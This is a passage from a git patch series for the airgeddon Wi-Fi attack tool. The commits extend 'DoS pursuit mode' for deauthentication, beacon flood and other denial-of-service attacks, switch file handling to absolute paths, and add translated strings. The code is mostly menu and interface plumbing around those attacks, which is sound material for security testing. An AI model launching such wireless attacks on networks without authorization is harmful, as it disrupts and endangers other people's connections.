"${language}" 115 "read" + fi + else + echo + language_strings "${language}" 34 "yellow" + language_strings "${language}" 115 "read" + fi + else + return 1 + fi fi exec_aireplaydeauth @@ -4862,12 +4935,45 @@ function wds_confusion_option() { return fi - ask_yesno 505 "yes" + ask_yesno 505 "no" if [ "${yesno}" = "y" ]; then dos_pursuit_mode=1 echo language_strings "${language}" 508 "yellow" language_strings "${language}" 115 "read" + + if select_secondary_interface "dos_pursuit_mode"; then + + if [[ "${dos_pursuit_mode}" -eq 1 ]] && [[ -n "${channel}" ]] && [[ "${channel}" -gt 14 ]] && [[ "${interfaces_band_info['secondary_wifi_interface','5Ghz_allowed']}" -eq 0 ]]; then + echo + language_strings "${language}" 394 "red" + language_strings "${language}" 115 "read" + + return 1 + fi + + if ! check_monitor_enabled "${secondary_wifi_interface}"; then + echo + language_strings "${language}" 14 "yellow" + echo + language_strings "${language}" 513 "blue" + language_strings "${language}" 115 "read" + echo + if ! monitor_option "${secondary_wifi_interface}"; then + return 1 + else + echo + language_strings "${language}" 34 "yellow" + language_strings "${language}" 115 "read" + fi + else + echo + language_strings "${language}" 34 "yellow" + language_strings "${language}" 115 "read" + fi + else + return 1 + fi fi exec_wdsconfusion @@ -4900,9 +5006,42 @@ function beacon_flood_option() { return fi - ask_yesno 505 "yes" + ask_yesno 505 "no" if [ "${yesno}" = "y" ]; then dos_pursuit_mode=1 + + if select_secondary_interface "dos_pursuit_mode"; then + + if [[ "${dos_pursuit_mode}" -eq 1 ]] && [[ -n "${channel}" ]] && [[ "${channel}" -gt 14 ]] && [[ "${interfaces_band_info['secondary_wifi_interface','5Ghz_allowed']}" -eq 0 ]]; then + echo + language_strings "${language}" 394 "red" + language_strings "${language}" 115 "read" + + return 1 + fi + + if ! check_monitor_enabled "${secondary_wifi_interface}"; then + echo + language_strings "${language}" 14 "yellow" + echo + language_strings "${language}" 513 "blue" + language_strings "${language}" 115 "read" + echo + if ! monitor_option "${secondary_wifi_interface}"; then + return 1 + else + echo + language_strings "${language}" 34 "yellow" + language_strings "${language}" 115 "read" + fi + else + echo + language_strings "${language}" 34 "yellow" + language_strings "${language}" 115 "read" + fi + else + return 1 + fi fi exec_beaconflood @@ -4931,12 +5070,45 @@ function auth_dos_option() { return fi - ask_yesno 505 "yes" + ask_yesno 505 "no" if [ "${yesno}" = "y" ]; then dos_pursuit_mode=1 echo language_strings "${language}" 508 "yellow" language_strings "${language}" 115 "read" + + if select_secondary_interface "dos_pursuit_mode"; then + + if [[ "${dos_pursuit_mode}" -eq 1 ]] && [[ -n "${channel}" ]] && [[ "${channel}" -gt 14 ]] && [[ "${interfaces_band_info['secondary_wifi_interface','5Ghz_allowed']}" -eq 0 ]]; then + echo + language_strings "${language}" 394 "red" + language_strings "${language}" 115 "read" + + return 1 + fi + + if ! check_monitor_enabled "${secondary_wifi_interface}"; then + echo + language_strings "${language}" 14 "yellow" + echo + language_strings "${language}" 513 "blue" + language_strings "${language}" 115 "read" + echo + if ! monitor_option "${secondary_wifi_interface}"; then + return 1 + else + echo + language_strings "${language}" 34 "yellow" + language_strings "${language}" 115 "read" + fi + else + echo + language_strings "${language}" 34 "yellow" + language_strings "${language}" 115 "read" + fi + else + return 1 + fi fi exec_authdos @@ -4965,9 +5137,42 @@ function michael_shutdown_option() { return fi - ask_yesno 505 "yes" + ask_yesno 505 "no" if [ "${yesno}" = "y" ]; then dos_pursuit_mode=1 + + if select_secondary_interface "dos_pursuit_mode"; then + + if [[ "${dos_pursuit_mode}" -eq 1 ]] && [[ -n "${channel}" ]] && [[ "${channel}" -gt 14 ]] && [[ "${interfaces_band_info['secondary_wifi_interface','5Ghz_allowed']}" -eq 0 ]]; then + echo + language_strings "${language}" 394 "red" + language_strings "${language}" 115 "read" + + return 1 + fi + + if ! check_monitor_enabled "${secondary_wifi_interface}"; then + echo + language_strings "${language}" 14 "yellow" + echo + language_strings "${language}" 513 "blue" + language_strings "${language}" 115 "read" + echo + if ! monitor_option "${secondary_wifi_interface}"; then + return 1 + else + echo + language_strings "${language}" 34 "yellow" + language_strings "${language}" 115 "read" + fi + else + echo + language_strings "${language}" 34 "yellow" + language_strings "${language}" 115 "read" + fi + else + return 1 + fi fi exec_michaelshutdown @@ -5511,6 +5716,8 @@ function initialize_menu_and_print_selections() { return_to_handshake_pmkid_tools_menu=0 ;; "dos_attacks_menu") + enterprise_mode="" + et_mode="" dos_pursuit_mode=0 print_iface_selected print_all_target_vars @@ -13629,12 +13836,12 @@ function detect_internet_interface() { language_strings "${language}" 285 "blue" ask_yesno 284 "yes" if [ "${yesno}" = "n" ]; then - if ! select_secondary_et_interface "internet"; then + if ! select_secondary_interface "internet"; then return 1 fi fi else - if ! select_secondary_et_interface "internet"; then + if ! select_secondary_interface "internet"; then return 1 fi fi @@ -13745,7 +13952,7 @@ function invalid_secondary_iface_selected() { echo language_strings "${language}" 115 "read" echo - select_secondary_et_interface "${1}" + select_secondary_interface "${1}" } #Manage behavior of captured traps diff --git a/language_strings.sh b/language_strings.sh index 8715e68c1..cf6f3ead1 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -10153,6 +10153,19 @@ function initialize_language_strings() { arr["GERMAN",706]="airgeddon hat festgestellt, dass Sie den Ländercode für das 5Ghz-Band nicht konfiguriert haben. Verwenden Sie den Befehl \"\${normal_color}iw reg get\${blue_color}\", um die aktuelle Konfiguration zu überprüfen, und \"\${normal_color}iw reg set XX\${blue_color}\" um die Region einzustellen, wobei XX Ihr Ländercode ist (z. B. \"\${normal_color}iw reg set ES\${blue_color}\" für Spanien). Überprüfen Sie die Konfiguration mit \"\${normal_color}iw reg get\${blue_color}\", bevor Sie den Angriff auf das 5-Ghz-Zielnetzwerk versuchen. Wie auch immer, das 5-Ghz-Band hat mehrere Kanäle, die aufgrund von Länderbeschränkungen möglicherweise nicht für den Betrieb verfügbar sind (DFS-Kanäle). Wenn das Zielnetzwerk einen dieser Kanäle verwendet, ist der Angriff möglicherweise nicht erfolgreich" arr["TURKISH",706]="airgeddon, 5Ghz bandı için ülke kodunu yapılandırmadığınızı tespit etti. Geçerli yapılandırmayı kontrol etmek için \"\${normal_color}iw reg get\${blue_color}\" komutunu ve mevcut yapılandırmayı kontrol etmek için \"\${normal_color}iw reg set XX\${blue_color}\" komutunu kullanın. XX'nin ülke kodunuz olduğu bölgeyi ayarlayın (ör. İspanya için \"\${normal_color}iw reg set ES\${blue_color}\"). 5Ghz hedef ağına saldırı girişiminde bulunmadan önce \"\${normal_color}iw reg get\${blue_color}\" ile yapılandırmayı doğrulayın. Her neyse, 5Ghz bandında, ülke kısıtlamaları nedeniyle (DFS kanalları) işletilemeyen birkaç kanal vardır. Hedef ağ bu kanallardan birini kullanıyorsa saldırı başarılı olamayabilir" arr["ARABIC",706]="5Ghz قبل الهجوم علي الشبكةال \"\${normal_color}iw reg get\${blue_color}\" هو كود اسبانيا. لتثبيت الاعدادات قم بهذه الامر (\"\${normal_color}iw reg set ES\${blue_color}\") :هو كود البلد للمثل XX لتحديد المنطقه و ان \"\${normal_color}iw reg set XX\${blue_color}\" لتحقق من الاعدادات, و \"\${normal_color}iw reg get\${blue_color}\" استخدم الامر .Ghzقد اكتشف انك لم تقوم بتحديد كود البلد لناقط ال5 airgeddon" + + arr["ENGLISH",707]="Channel change detected. Reconfiguring attack (DoS) as part of \"DoS pursuit mode\". Now on channel \${normal_color}\${channel}" + arr["SPANISH",707]="Cambio de canal detectado. Reconfigurando ataque (DoS) como parte del \"modo persecución DoS\". Ahora en el canal \${normal_color}\${channel}" + arr["FRENCH",707]="\${pending_of_translation} Changement de canal détecté. Reconfiguration de l'attaque (DoS) dans le cadre du \"mode de poursuite DoS\". Maintenant sur le canal \${normal_color}\${channel}" + arr["CATALAN",707]="\${pending_of_translation} S'ha detectat un canvi de canal. S'està reconfigurant l'atac (DoS) com a part del \"Mode de persecució DoS\". Ara al canal \${normal_color}\${channel}" + arr["PORTUGUESE",707]="\${pending_of_translation} Mudança de canal detectada. Reconfigurando o ataque (DoS) como parte do \"modo de perseguição\". Agora no canal \${normal_color}\${channel}" + arr["RUSSIAN",707]="\${pending_of_translation} Обнаружено изменение канала. Реконфигурация атаки (DoS) как часть \"режимом DoS преследования\". Сейчас на канале \${normal_color}\${channel}" + arr["GREEK",707]="\${pending_of_translation} Εντοπίστηκε αλλαγή καναλιού. Επαναδιαμόρφωση επίθεσης (DoS) ως μέρος της \"DoS pursuit mode\". Τώρα στο κανάλι \${normal_color}\${channel}" + arr["ITALIAN",707]="\${pending_of_translation} Rilevato cambio di canale. Riconfigurazione dell'attacco (DoS) come parte della \"DoS pursuit mode\". Ora sul canale \${normal_color}\${channel}" + arr["POLISH",707]="\${pending_of_translation} Wykryto zmianę kanału. Rekonfiguracja ataku (DoS) w ramach \"DoS pursuit\". Teraz na kanale \${normal_color}\${channel}" + arr["GERMAN",707]="\${pending_of_translation} Kanalwechsel erkannt. Rekonfigurieren des Angriffs (DoS) als Teil des \"DoS pursuit mode\". Jetzt auf Kanal \${normal_color}\${channel}" + arr["TURKISH",707]="\${pending_of_translation} Kanal değişikliği algılandı. Saldırı (DoS) \"DoS takip modu\"nun bir parçası olarak yeniden yapılandırılıyor. Şimdi \${normal_color}\${channel} kanalında" + arr["ARABIC",707]="\${pending_of_translation} \${normal_color}\${channel}\${yellow_color}تم الكشف عن تغيير القناة. إعادة تكوين الهجوم (DoS) كجزء من \"DoS pursuit mode\". الآن على القناة\${normal_color}" } #Expand escaped variables in language strings with their actual values From 462d92d3ae5d6647511b4517233a2c89bbf6e57c Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Mon, 13 Mar 2023 17:18:05 +0100 Subject: [PATCH 07/63] Style change on CHANGELOG.md for an old entry --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 7f1c50422..183273aaa 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -133,7 +133,7 @@ - Added tab autocompletion for every path input ### 9.21 - - Fixed non-closing windows on some DoS pursuit mode attacks + - Fixed non-closing windows on some "DoS pursuit mode" attacks - Added retrocompatibility for mdk3, added option in .airgeddonrc file to handle it - Fixed bug on WEP all-in-one attack (Fake Auth) for SSIDs containing spaces - Fixed repeated enterprise plain passwords captured on trophy files From fa596de83d8e4eec766ac212644ac1fd522f760c Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Thu, 16 Mar 2023 21:42:09 +0100 Subject: [PATCH 08/63] Improvement to use unique var to define airgeddon script path. Now using absolute paths --- airgeddon.sh | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 682946ce2..933f60681 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -14372,6 +14372,8 @@ function set_script_paths() { fi fi scriptfolder="${scriptfolder%/*}/" + scriptfolder="$(readlink -f ${scriptfolder})" + scriptfolder="${scriptfolder%/}/" scriptname="${0##*/}" fi @@ -15725,7 +15727,7 @@ function start_airgeddon_from_tmux() { debug_print tmux rename-window -t "${session_name}" "${tmux_main_window}" - tmux send-keys -t "${session_name}:${tmux_main_window}" "clear;cd ${absolute_path};bash ${0}" ENTER + tmux send-keys -t "${session_name}:${tmux_main_window}" "clear;cd ${scriptfolder};bash ${0}" ENTER sleep 0.2 if [ "${1}" = "normal" ]; then tmux attach -t "${session_name}" @@ -16542,7 +16544,6 @@ function echo_white() { #Script starting point function main() { - absolute_path=$(pwd) initialize_script_settings initialize_colors env_vars_initialization From d8372f945df7c903c2deb068ee4cf8e1a496f7d8 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Thu, 16 Mar 2023 23:41:35 +0100 Subject: [PATCH 09/63] Force use of absolute paths always for reading and writing files --- CHANGELOG.md | 1 + airgeddon.sh | 27 ++++++++++++++++++++++++++- 2 files changed, 27 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 183273aaa..0d535694b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,6 @@ ### 11.20 - Improvements and fixes on "DoS pursuit mode" + - Fixed bug on Evil Twin captive portal attack if relative paths used ### 11.11 - Custom enterprise certificates creation fix (now sha256) for modern hostapd-wpe versions diff --git a/airgeddon.sh b/airgeddon.sh index 933f60681..52c142f0b 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -12236,7 +12236,7 @@ function check_file_exists() { debug_print - if [[ ! -f "${1}" ]] || [[ -z "${1}" ]]; then + if [[ ! -f $(readlink -f "${1}") ]] || [[ -z "${1}" ]]; then language_strings "${language}" 161 "red" return 1 fi @@ -12467,6 +12467,7 @@ function read_path() { if [ -z "${enteredpath}" ]; then enteredpath="${handshakepath}" fi + enteredpath=$(set_absolute_path "${enteredpath}") validate_path "${enteredpath}" "${1}" ;; "cleanhandshake") @@ -12480,6 +12481,7 @@ function read_path() { if [ -z "${enteredpath}" ]; then enteredpath="${pmkidpath}" fi + enteredpath=$(set_absolute_path "${enteredpath}") validate_path "${enteredpath}" "${1}" ;; "pmkidcap") @@ -12488,6 +12490,7 @@ function read_path() { if [ -z "${enteredpath}" ]; then enteredpath="${pmkidcappath}" fi + enteredpath=$(set_absolute_path "${enteredpath}") validate_path "${enteredpath}" "${1}" ;; "dictionary") @@ -12526,6 +12529,7 @@ function read_path() { if [ -z "${aircrackpotenteredpath}" ]; then aircrackpotenteredpath="${aircrack_potpath}" fi + aircrackpotenteredpath=$(set_absolute_path "${aircrackpotenteredpath}") validate_path "${aircrackpotenteredpath}" "${1}" ;; "jtrpot") @@ -12534,6 +12538,7 @@ function read_path() { if [ -z "${jtrpotenteredpath}" ]; then jtrpotenteredpath="${jtr_potpath}" fi + jtrpotenteredpath=$(set_absolute_path "${jtrpotenteredpath}") validate_path "${jtrpotenteredpath}" "${1}" ;; "hashcatpot") @@ -12542,6 +12547,7 @@ function read_path() { if [ -z "${potenteredpath}" ]; then potenteredpath="${hashcat_potpath}" fi + potenteredpath=$(set_absolute_path "${potenteredpath}") validate_path "${potenteredpath}" "${1}" ;; "asleappot") @@ -12550,6 +12556,7 @@ function read_path() { if [ -z "${asleapenteredpath}" ]; then asleapenteredpath="${asleap_potpath}" fi + asleapenteredpath=$(set_absolute_path "${asleapenteredpath}") validate_path "${asleapenteredpath}" "${1}" ;; "ettercaplog") @@ -12558,6 +12565,7 @@ function read_path() { if [ -z "${ettercap_logpath}" ]; then ettercap_logpath="${default_ettercap_logpath}" fi + ettercap_logpath=$(set_absolute_path "${ettercap_logpath}") validate_path "${ettercap_logpath}" "${1}" ;; "bettercaplog") @@ -12566,6 +12574,7 @@ function read_path() { if [ -z "${bettercap_logpath}" ]; then bettercap_logpath="${default_bettercap_logpath}" fi + bettercap_logpath=$(set_absolute_path "${bettercap_logpath}") validate_path "${bettercap_logpath}" "${1}" ;; "ethandshake") @@ -12579,6 +12588,7 @@ function read_path() { if [ -z "${et_handshake}" ]; then et_handshake="${handshakepath}" fi + et_handshake=$(set_absolute_path "${et_handshake}") validate_path "${et_handshake}" "${1}" ;; "et_captive_portallog") @@ -12587,6 +12597,7 @@ function read_path() { if [ -z "${et_captive_portal_logpath}" ]; then et_captive_portal_logpath="${default_et_captive_portal_logpath}" fi + et_captive_portal_logpath=$(set_absolute_path "${et_captive_portal_logpath}") validate_path "${et_captive_portal_logpath}" "${1}" ;; "wpspot") @@ -12595,6 +12606,7 @@ function read_path() { if [ -z "${wpspotenteredpath}" ]; then wpspotenteredpath="${wps_potpath}" fi + wpspotenteredpath=$(set_absolute_path "${wpspotenteredpath}") validate_path "${wpspotenteredpath}" "${1}" ;; "weppot") @@ -12603,6 +12615,7 @@ function read_path() { if [ -z "${weppotenteredpath}" ]; then weppotenteredpath="${wep_potpath}" fi + weppotenteredpath=$(set_absolute_path "${weppotenteredpath}") validate_path "${weppotenteredpath}" "${1}" ;; "enterprisepot") @@ -12611,6 +12624,7 @@ function read_path() { if [ -z "${enterprisepotenteredpath}" ]; then enterprisepotenteredpath="${enterprise_potpath}" fi + enterprisepotenteredpath=$(set_absolute_path "${enterprisepotenteredpath}") validate_path "${enterprisepotenteredpath}" "${1}" ;; "certificates") @@ -12619,6 +12633,7 @@ function read_path() { if [ -z "${certificatesenteredpath}" ]; then certificatesenteredpath="${enterprisecertspath}" fi + certificatesenteredpath=$(set_absolute_path "${certificatesenteredpath}") validate_path "${certificatesenteredpath}" "${1}" ;; esac @@ -14401,6 +14416,16 @@ function set_default_save_path() { fi } +#Return absolute path for a given string path +function set_absolute_path() { + + debug_print + + local string_path + string_path=$(readlink -f "${1}") + echo "${string_path}" +} + #Check if pins database file exist and try to download the new one if proceed function check_pins_database_file() { From eeeef5b212d3cbc3de1f844e5f2357d691b4606d Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Mon, 20 Mar 2023 23:43:05 +0100 Subject: [PATCH 10/63] Fix little typo in english string 505 --- language_strings.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/language_strings.sh b/language_strings.sh index cf6f3ead1..4295465f9 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -7528,7 +7528,7 @@ function initialize_language_strings() { arr["TURKISH",504]="\${blue_color}Bu PIN hesaplama işlemi tamamen çevrimdışı değildir. Gerekli bir veri elde etmek için hedef erişim noktasından eksiksiz bir \"probe\" yanıtı gerekir. \${green_color}Devam etmek istiyor musunuz? \${normal_color}\${visual_choice}" arr["ARABIC",504]="\${normal_color}\${visual_choice}\${green_color} هل تريد المتابعة؟\${blue_color} .كاملة من نقطة الوصول المستهدفة للحصول على البيانات الضرورية \"probe\" هذه ليست غيرمتصلة بالإنترنت بالكامل. مطلوب استجابة PIN عملية حساب رقم التعريف الشخصي\${normal_color}" - arr["ENGLISH",505]="Do you want to enable \"DoS pursuit mode\"? \${blue_color}This will launch again the attack if target AP change its channel countering \"channel hopping\" \${normal_color}\${visual_choice}" + arr["ENGLISH",505]="Do you want to enable \"DoS pursuit mode\"? \${blue_color}This will re-launch the attack if target AP change its channel countering \"channel hopping\" \${normal_color}\${visual_choice}" arr["SPANISH",505]="¿Deseas activar el \"modo persecución DoS\"? \${blue_color}Esto relanzará el ataque si el AP objetivo cambia de canal contrarrestando el \"channel hopping\" \${normal_color}\${visual_choice}" arr["FRENCH",505]="Voulez-vous activer le \"mode de poursuite DoS\"? \${blue_color}Cela relancera l'attaque si le AP cible change de canal en contrecarrant le \"channel hopping\" \${normal_color}\${visual_choice}" arr["CATALAN",505]="¿Vols activar el \"mode persecució DoS\"? \${blue_color}Això rellançarà l'atac si l'AP objectiu canvia de canal contrarestant el \"channel hopping\" \${normal_color}\${visual_choice}" From bc96f44a014606512034a8049b5e04bbc12859c0 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Thu, 23 Mar 2023 18:27:02 +0100 Subject: [PATCH 11/63] Fix SC2184 shellcheck warnings --- airgeddon.sh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 52c142f0b..5da7620e3 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -5660,19 +5660,19 @@ function dependencies_modifications() { if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then essential_tools_names=("${essential_tools_names[@]/xterm/tmux}") possible_package_names[${essential_tools_names[5]}]="tmux" - unset possible_package_names["xterm"] + unset 'possible_package_names[xterm]' fi if [ "${AIRGEDDON_MDK_VERSION}" = "mdk3" ]; then optional_tools_names=("${optional_tools_names[@]/mdk4/mdk3}") possible_package_names[${optional_tools_names[3]}]="mdk3" - unset possible_package_names["mdk4"] + unset 'possible_package_names[mdk4]' fi if [ "${iptables_nftables}" -eq 0 ]; then optional_tools_names=("${optional_tools_names[@]/nft/iptables}") possible_package_names[${optional_tools_names[7]}]="iptables" - unset possible_package_names["nft"] + unset 'possible_package_names[nft]' fi } From ab4ecc878d2d40a9ed3315f845bbf447a0b5ab17 Mon Sep 17 00:00:00 2001 From: masipro Date: Thu, 23 Mar 2023 19:35:16 +0100 Subject: [PATCH 12/63] Add Consistent Network Device Name detection Returns warning messages if long wifi names detected --- airgeddon.sh | 22 ++++++++++++++++++++++ language_strings.sh | 26 ++++++++++++++++++++++++++ 2 files changed, 48 insertions(+) diff --git a/airgeddon.sh b/airgeddon.sh index 5da7620e3..afdaa28bb 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -1395,6 +1395,27 @@ function check_vif_support() { fi } +#Returns warning messages if long wifi names detected +function check_interface_wifi_longname() { + + debug_print + + wifi_card=${1} + longname_patterns=("wlx[0-9a-fA-F]{12}") + for pattern in "${longname_patterns[@]}"; do + if [[ "$wifi_card" =~ $pattern ]]; then + echo + language_strings "${language}" 708 "yellow" + echo + language_strings "${language}" 709 "yellow" + language_strings "${language}" 115 "read" + return 1 + fi + done + + return 0 +} + #Find the physical interface for a card function physical_interface_finder() { @@ -2718,6 +2739,7 @@ function select_interface() { else card_vif_support=1 fi + check_interface_wifi_longname "${interface}" break fi done diff --git a/language_strings.sh b/language_strings.sh index 4295465f9..5fea0c5ff 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -10166,6 +10166,32 @@ function initialize_language_strings() { arr["GERMAN",707]="\${pending_of_translation} Kanalwechsel erkannt. Rekonfigurieren des Angriffs (DoS) als Teil des \"DoS pursuit mode\". Jetzt auf Kanal \${normal_color}\${channel}" arr["TURKISH",707]="\${pending_of_translation} Kanal değişikliği algılandı. Saldırı (DoS) \"DoS takip modu\"nun bir parçası olarak yeniden yapılandırılıyor. Şimdi \${normal_color}\${channel} kanalında" arr["ARABIC",707]="\${pending_of_translation} \${normal_color}\${channel}\${yellow_color}تم الكشف عن تغيير القناة. إعادة تكوين الهجوم (DoS) كجزء من \"DoS pursuit mode\". الآن على القناة\${normal_color}" + + arr["ENGLISH",708]="Consistent Network Device Naming detected (aka longname wifi device name). There are third party tools used by airgeddon which won't work properly. It is recommended to change it to old short wifi names (wlan0, wlan1, etc.)" + arr["SPANISH",708]="Se detectó un Consistent Network Device Naming (también conocido como nombre de dispositivo wifi de nombre largo). Hay herramientas de terceros utilizadas por airgeddon que no funcionarán correctamente. Se recomienda cambiarlo a nombres de wifi cortos antiguos (wlan0, wlan1, etc.)" + arr["FRENCH",708]="\${pending_of_translation} Dénomination cohérente du périphérique réseau détectée (c'est-à-dire nom de périphérique Wi-Fi longname). Il existe des outils tiers utilisés par airgeddon qui ne fonctionneront pas correctement. Il est recommandé de le remplacer par d'anciens noms Wi-Fi courts (wlan0, wlan1, etc.)" + arr["CATALAN",708]="\${pending_of_translation} S'ha detectat un nom coherent del dispositiu de xarxa (també conegut com nom del dispositiu wifi de nom llarg). Hi ha eines de tercers utilitzades per airgeddon que no funcionen correctament. Es recomana canviar-lo per noms de wifi curts antics (wlan0, wlan1, etc.)" + arr["PORTUGUESE",708]="\${pending_of_translation} Detecção de nomenclatura de dispositivo de rede consistente (também conhecida como nome de dispositivo Wi-Fi de nome longo). Existem ferramentas de terceiros usadas pelo airgeddon que não funcionam corretamente. Recomenda-se alterá-lo para nomes de wi-fi curtos antigos (wlan0, wlan1, etc.)" + arr["RUSSIAN",708]="\${pending_of_translation} Обнаружено согласованное имя сетевого устройства (также известное как длинное имя устройства Wi-Fi). Airgeddon использует сторонние инструменты, которые не будут работать должным образом. Рекомендуется изменить его на старые короткие имена Wi-Fi (wlan0, wlan1 и т. д.)" + arr["GREEK",708]="\${pending_of_translation} Εντοπίστηκε συνεπής ονομασία συσκευής δικτύου (γνωστός και ως όνομα συσκευής wifi longname). Υπάρχουν εργαλεία τρίτων που χρησιμοποιούνται από την airgeddon και δεν λειτουργούν σωστά. Συνιστάται να το αλλάξετε σε παλιά σύντομα ονόματα wifi (wlan0, wlan1, κ.λπ.)" + arr["ITALIAN",708]="\${pending_of_translation} Rilevata denominazione coerente del dispositivo di rete (ovvero nome del dispositivo Wi-Fi con nome lungo). Esistono strumenti di terze parti utilizzati da airgeddon che non funzionano correttamente. Si consiglia di cambiarlo con i vecchi nomi wifi brevi (wlan0, wlan1, ecc.)" + arr["POLISH",708]="\${pending_of_translation} Wykryto spójne nazewnictwo urządzeń sieciowych (inaczej długą nazwę urządzenia Wi-Fi). Airgeddon używa narzędzi stron trzecich, które nie działają poprawnie. Zaleca się zmianę na stare krótkie nazwy Wi-Fi (wlan0, wlan1 itp.)" + arr["GERMAN",708]="\${pending_of_translation} Konsistente Netzwerkgerätebenennung erkannt (auch bekannt als Langname-WLAN-Gerätename). Airgeddon verwendet Tools von Drittanbietern, die nicht richtig funktionieren. Es wird empfohlen, auf alte kurze WLAN-Namen (wlan0, wlan1 usw.)" + arr["TURKISH",708]="\${pending_of_translation} Tutarlı Ağ Aygıtı Adlandırma algılandı (diğer adıyla uzun ad wifi aygıt adı). airgeddon tarafından kullanılan ve düzgün çalışmayan üçüncü taraf araçlar var. Eski kısa wifi adlarına (wlan0, wlan1, vb.) değiştirmeniz önerilir." + + arr["ENGLISH",709]="Please check the airgeddon wiki. It contains information about how to change the wifi device names: \${normal_color}\${urlgithub_wiki}/Consistent%20Network%20Device%20Naming" + arr["SPANISH",709]="Consulte el wiki de airgeddon. Contiene información sobre cómo cambiar los nombres de los dispositivos wifi: \${normal_color}\${urlgithub_wiki}/Consistent%20Network%20Device%20Naming" + arr["FRENCH",709]="\${pending_of_translation} Veuillez consulter le wiki airgeddon. Il contient des informations sur la façon de modifier les noms des appareils Wi-Fi : \${normal_color}\${urlgithub_wiki}/Consistent%20Network%20Device%20Naming" + arr["CATALAN",709]="\${pending_of_translation} Si us plau, comproveu la wiki d'airgeddon. Conté informació sobre com canviar els noms dels dispositius wifi: \${normal_color}\${urlgithub_wiki}/Consistent%20Network%20Device%20Naming" + arr["PORTUGUESE",709]="\${pending_of_translation} Por favor, verifique o wiki airgeddon. Ele contém informações sobre como alterar os nomes dos dispositivos wifi: \${normal_color}\${urlgithub_wiki}/Consistent%20Network%20Device%20Naming" + arr["RUSSIAN",709]="\${pending_of_translation} Пожалуйста, проверьте вики airgeddon. Он содержит информацию о том, как изменить имена устройств Wi-Fi: \${normal_color}\${urlgithub_wiki}/Consistent%20Network%20Device%20Naming" + arr["GREEK",709]="\${pending_of_translation} Ελέγξτε το wiki airgeddon. Περιέχει πληροφορίες σχετικά με τον τρόπο αλλαγής των ονομάτων συσκευών wifi: \${normal_color}\${urlgithub_wiki}/Consistent%20Network%20Device%20Naming" + arr["ITALIAN",709]="\${pending_of_translation} Si prega di controllare il wiki di airgeddon. Contiene informazioni su come modificare i nomi dei dispositivi wifi: \${normal_color}\${urlgithub_wiki}/Consistent%20Network%20Device%20Naming" + arr["POLISH",709]="\${pending_of_translation} Proszę sprawdzić wiki airgeddon. Zawiera informacje o tym, jak zmienić nazwy urządzeń Wi-Fi: \${normal_color}\${urlgithub_wiki}/Consistent%20Network%20Device%20Naming" + arr["GERMAN",709]="\${pending_of_translation} Bitte überprüfen Sie das Airgeddon-Wiki. Es enthält Informationen zum Ändern der WLAN-Gerätenamen: \${normal_color}\${urlgithub_wiki}/Consistent%20Network%20Device%20Naming" + arr["TURKISH",709]="\${pending_of_translation} Lütfen airgeddon wiki'sini kontrol edin. Kablosuz cihaz adlarının nasıl değiştirileceği hakkında bilgi içerir: \${normal_color}\${urlgithub_wiki}/Consistent%20Network%20Device%20Naming" + arr["ARABIC",709]="\${pending_of_translation} \${normal_color}\${urlgithub_wiki}/Consistent%20Network%20Device%20Naming\${yellow_color} :يرجى التحقق من ويكي airgeddon. يحتوي على معلومات حول كيفية تغيير أسماء أجهزة wifi" + } #Expand escaped variables in language strings with their actual values From 869742e0fe263aa96938d258c260ccf588be3e47 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Thu, 23 Mar 2023 23:39:43 +0100 Subject: [PATCH 13/63] Minor fixes in some strings (708, 709) --- language_strings.sh | 15 +++++++-------- 1 file changed, 7 insertions(+), 8 deletions(-) diff --git a/language_strings.sh b/language_strings.sh index 5fea0c5ff..801d5c535 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -10172,26 +10172,25 @@ function initialize_language_strings() { arr["FRENCH",708]="\${pending_of_translation} Dénomination cohérente du périphérique réseau détectée (c'est-à-dire nom de périphérique Wi-Fi longname). Il existe des outils tiers utilisés par airgeddon qui ne fonctionneront pas correctement. Il est recommandé de le remplacer par d'anciens noms Wi-Fi courts (wlan0, wlan1, etc.)" arr["CATALAN",708]="\${pending_of_translation} S'ha detectat un nom coherent del dispositiu de xarxa (també conegut com nom del dispositiu wifi de nom llarg). Hi ha eines de tercers utilitzades per airgeddon que no funcionen correctament. Es recomana canviar-lo per noms de wifi curts antics (wlan0, wlan1, etc.)" arr["PORTUGUESE",708]="\${pending_of_translation} Detecção de nomenclatura de dispositivo de rede consistente (também conhecida como nome de dispositivo Wi-Fi de nome longo). Existem ferramentas de terceiros usadas pelo airgeddon que não funcionam corretamente. Recomenda-se alterá-lo para nomes de wi-fi curtos antigos (wlan0, wlan1, etc.)" - arr["RUSSIAN",708]="\${pending_of_translation} Обнаружено согласованное имя сетевого устройства (также известное как длинное имя устройства Wi-Fi). Airgeddon использует сторонние инструменты, которые не будут работать должным образом. Рекомендуется изменить его на старые короткие имена Wi-Fi (wlan0, wlan1 и т. д.)" + arr["RUSSIAN",708]="\${pending_of_translation} Обнаружено согласованное имя сетевого устройства (также известное как длинное имя устройства Wi-Fi). airgeddon использует сторонние инструменты, которые не будут работать должным образом. Рекомендуется изменить его на старые короткие имена Wi-Fi (wlan0, wlan1 и т. д.)" arr["GREEK",708]="\${pending_of_translation} Εντοπίστηκε 